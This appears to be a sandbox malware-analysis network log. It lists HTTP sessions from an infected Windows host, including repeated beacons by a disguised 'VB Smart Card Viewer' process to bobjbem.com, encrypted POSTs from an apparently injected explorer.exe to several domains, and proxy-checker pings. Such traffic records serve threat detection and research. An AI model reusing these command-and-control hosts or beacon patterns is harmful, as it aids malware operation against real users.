Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.4	50022	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:28.199875116 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:28.444816113 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.4	50023	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:28.851484060 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:29.089874983 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.4	50024	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:29.481585979 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:29.724770069 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.4	50025	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:30.081232071 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:30.329013109 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.4	50026	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:30.693903923 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:30.932641029 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.4	50027	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:31.299316883 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:31.543407917 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.4	50028	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:31.914489985 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:32.159980059 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.4	50029	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:32.543518066 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:32.781589985 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.4	50030	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:33.146147013 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:33.389648914 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.4	50031	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:33.752414942 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:33.990564108 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.4	50032	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:34.342945099 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:34.588531971 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.4	50033	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:34.672249079 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bsaxcxtspvuuanf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 202 Host: sjyey.com
Feb 5, 2024 11:00:34.672298908 CET	202	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 23 15 a3 80 Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA .[k,vu#h]euZDpyS^n~Ba,!CC\|(!01SN@ddXj\[/qB[`B.
Feb 5, 2024 11:00:35.231795073 CET	252	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 10:00:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 7 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.4	50034	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:34.955055952 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:35.199040890 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.4	50035	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:35.613818884 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:35.851737022 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.4	50036	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:35.903485060 CET	284	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cwjuwgdpnhxy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 227 Host: selebration17io.io
Feb 5, 2024 11:00:35.903518915 CET	227	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 9a de 07 ad Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bO>2x.kxq[zI$5uw_pI;c3,B.Z:`gY#QK']"q*6m.q=?C+O54AN}n0
Feb 5, 2024 11:00:36.162303925 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 10:00:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.4	50037	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:36.247735023 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:36.492458105 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.4	50038	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:36.913009882 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:37.154966116 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.4	50039	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:37.775242090 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:38.014146090 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.4	50040	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:38.373328924 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:38.619815111 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.4	50042	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:38.991511106 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:39.238856077 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.4	50045	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:39.604371071 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:39.842586994 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.4	50050	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:40.227679014 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:40.473964930 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.4	50047	142.132.202.219	2023	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:40.248382092 CET	118	IN	GET /api/v1/checker/ping HTTP/1.1 Host: 92.53.64.209:27282 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
Feb 5, 2024 11:00:40.461028099 CET	136	OUT	HTTP/1.1 200 OK Date: Mon, 05 Feb 2024 10:00:40 GMT Content-Length: 19 Content-Type: text/plain; charset=utf-8 Data Raw: 38 31 2e 31 38 31 2e 35 37 2e 37 34 3a 35 30 30 34 36 0a Data Ascii: 81.181.57.74:50046

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.4	50046	92.53.64.209	27282	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:40.248487949 CET	118	OUT	GET /api/v1/checker/ping HTTP/1.1 Host: 92.53.64.209:27282 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
Feb 5, 2024 11:00:40.460820913 CET	136	IN	HTTP/1.1 200 OK Date: Mon, 05 Feb 2024 10:00:40 GMT Content-Length: 19 Content-Type: text/plain; charset=utf-8 Data Raw: 38 31 2e 31 38 31 2e 35 37 2e 37 34 3a 35 30 30 34 36 0a Data Ascii: 81.181.57.74:50046

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.4	50051	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:40.842447042 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:41.080872059 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.4	50053	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:41.441114902 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:41.685930014 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
